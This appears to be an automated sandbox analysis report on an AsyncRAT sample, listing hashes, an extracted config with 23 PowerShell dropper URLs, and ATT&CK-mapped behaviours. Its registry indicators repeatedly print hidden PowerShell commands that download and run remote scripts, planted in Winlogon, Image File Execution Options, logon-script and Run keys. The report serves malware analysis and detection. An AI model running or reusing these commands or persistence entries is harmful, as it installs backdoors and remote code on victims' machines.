asyncrat | 35f19a1a3a4cb11821b9234c46a17631e7e282491055ec87b76bfcb0b16b130f

Analysis

max time kernel
111s
max time network
150s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
13/11/2026, 17:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
22.exe
Size 113KB
Sample261113-vt2tvsd13t
SHA256 35f19a1a3a4cb11821b9234c46a17631e7e282491055ec87b76bfcb0b16b130f
MD5 99b3b9d6f492e915d6669308421f7244
SHA1 a455e49245b1967a57dc7c86e2d6bae93a4ccd87
SHA512 bda86bec4593afb13d7736bd8d924155a9d95e77ff32bf1da2ae21a7676497c0e6ead97e37358dc3077e8b81fcdb57aeac3e84ea5d56605f1cb3b9d90e582a18
SSDEEP 3072:djoK06sEtJyY8CrK5y+Nn+VYQbMCruSbptk4DD:djoK06sP5yc+VYQbbbG4v
TLSH
T1E2B3C4443BF94115F2FBAF7CADB5624549BEBD636912DA9D08B0108E0532B81C9E1F3B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware qh88 botnet defense_evasion discovery execution asyncrat persistence rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://member.ufaebet.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://b52club.bio/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://beta.rumaal.co.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://m.467timebet.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://member.ufa6ix.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://member.noboncos.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://hn.betoyad.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://penze.yify-go-123-az-movies.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://w88.legal/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://news.uppscportal.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://member.ufa899.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://gurdas-maan.hindibios.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://luck8com.onl/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://8kbet.ae.org/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://hamana.cc/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://di.beckham.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://monitor.vpslog.net/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://shop.anagro.in/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://pg88z.ink/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://forum.hazardedit.com/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://88clb.limited/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://member.betvice.co/load.ps1

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://m.dbcommercial.co.in/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

qh88 botnet

Mutex

i8XYugtmNZhK

Attributes

delay
3
install
true
install_file
[email protected]
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000700000002842e-18.dat	family_asyncrat

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
53	3264	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6428	powershell.exe
5996	powershell.exe
6620	powershell.exe
8236	powershell.exe
9124	powershell.exe
1816	powershell.exe
8644	powershell.exe
2360	powershell.exe
3636	powershell.exe
6720	powershell.exe
4632	powershell.exe
11200	powershell.exe
5784	powershell.exe
7172	powershell.exe
2840	powershell.exe
11012	powershell.exe
3264	powershell.exe
5940	powershell.exe
7312	powershell.exe
11108	powershell.exe
10668	powershell.exe
4652	powershell.exe
3512	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 8 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Control Panel\International\Geo\Nation	22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Control Panel\International\Geo\Nation	[email protected]
Key value queried	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Control Panel\International\Geo\Nation	[email protected]

Executes dropped EXE 2 IoCs

pid	Process
3328	[email protected]
2008	[email protected]

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 4 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://beta.rumaal.co.in/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.ufaebet.com/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')\""	reg.exe

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
480	cmd.exe
6708	cmd.exe
4152	cmd.exe
5192	cmd.exe
5472	cmd.exe
6912	cmd.exe
9552	cmd.exe
3292	cmd.exe
660	cmd.exe
1116	cmd.exe
4516	cmd.exe
564	cmd.exe
1272	cmd.exe
1852	cmd.exe
2076	cmd.exe
1436	cmd.exe
1872	cmd.exe
5904	cmd.exe
5864	cmd.exe
6096	cmd.exe
9096	cmd.exe
6884	cmd.exe
9312	cmd.exe
452	cmd.exe
3808	cmd.exe
4624	cmd.exe
7420	cmd.exe
7364	cmd.exe
8300	cmd.exe
8692	cmd.exe
884	cmd.exe
9416	cmd.exe
9016	cmd.exe
1820	cmd.exe
5552	cmd.exe
7936	cmd.exe
6836	cmd.exe
2384	cmd.exe
4276	cmd.exe
2068	cmd.exe
5480	cmd.exe
7576	cmd.exe
6748	cmd.exe
8596	cmd.exe
8796	cmd.exe
8484	cmd.exe
3164	cmd.exe
1580	cmd.exe
1860	cmd.exe
2264	cmd.exe
6236	cmd.exe
9396	cmd.exe
1380	cmd.exe
2984	cmd.exe
5344	cmd.exe
7284	cmd.exe
7808	cmd.exe
6776	cmd.exe
6504	cmd.exe
8880	cmd.exe
5424	cmd.exe
2924	cmd.exe
7776	cmd.exe
7928	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	22.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	22.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	[email protected]
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	[email protected]
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	[email protected]
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	[email protected]

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Time Discovery 1 TTPs 13 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4936	cmd.exe
2884	cmd.exe
5552	cmd.exe
5968	cmd.exe
7888	reg.exe
8844	reg.exe
7240	reg.exe
3456	cmd.exe
5620	cmd.exe
7276	reg.exe
10108	reg.exe
7804	explorer.exe
3404	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4144	timeout.exe

Meterpreter User-Agent 64 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	4096	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10685	Meterpreter/1.0 (Windows)
HTTP User-Agent header	13447	Meterpreter/1.0 (Windows)
HTTP User-Agent header	3304	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4762	Meterpreter/1.0 (Windows)
HTTP User-Agent header	6271	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10382	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1346	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4061	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4328	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4489	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4620	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7394	Meterpreter/1.0 (Windows)
HTTP User-Agent header	8379	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10562	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1483	Meterpreter/1.0 (Windows)
HTTP User-Agent header	6256	Meterpreter/1.0 (Windows)
HTTP User-Agent header	9707	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10772	Meterpreter/1.0 (Windows)
HTTP User-Agent header	13638	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1140	Meterpreter/1.0 (Windows)
HTTP User-Agent header	5711	Meterpreter/1.0 (Windows)
HTTP User-Agent header	6539	Meterpreter/1.0 (Windows)
HTTP User-Agent header	6716	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7105	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7464	Meterpreter/1.0 (Windows)
HTTP User-Agent header	8037	Meterpreter/1.0 (Windows)
HTTP User-Agent header	13387	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1215	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2420	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4720	Meterpreter/1.0 (Windows)
HTTP User-Agent header	5206	Meterpreter/1.0 (Windows)
HTTP User-Agent header	11353	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12391	Meterpreter/1.0 (Windows)
HTTP User-Agent header	13024	Meterpreter/1.0 (Windows)
HTTP User-Agent header	820	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4435	Meterpreter/1.0 (Windows)
HTTP User-Agent header	5886	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7222	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7361	Meterpreter/1.0 (Windows)
HTTP User-Agent header	9709	Meterpreter/1.0 (Windows)
HTTP User-Agent header	9942	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12031	Meterpreter/1.0 (Windows)
HTTP User-Agent header	891	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1927	Meterpreter/1.0 (Windows)
HTTP User-Agent header	3094	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4518	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10969	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2841	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12505	Meterpreter/1.0 (Windows)
HTTP User-Agent header	2115	Meterpreter/1.0 (Windows)
HTTP User-Agent header	3678	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4930	Meterpreter/1.0 (Windows)
HTTP User-Agent header	5658	Meterpreter/1.0 (Windows)
HTTP User-Agent header	7747	Meterpreter/1.0 (Windows)
HTTP User-Agent header	8667	Meterpreter/1.0 (Windows)
HTTP User-Agent header	11208	Meterpreter/1.0 (Windows)
HTTP User-Agent header	12059	Meterpreter/1.0 (Windows)
HTTP User-Agent header	3384	Meterpreter/1.0 (Windows)
HTTP User-Agent header	4240	Meterpreter/1.0 (Windows)
HTTP User-Agent header	9610	Meterpreter/1.0 (Windows)
HTTP User-Agent header	10098	Meterpreter/1.0 (Windows)
HTTP User-Agent header	1740	Meterpreter/1.0 (Windows)
HTTP User-Agent header	6454	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 11 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1531437071-3039716239-3530695936-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
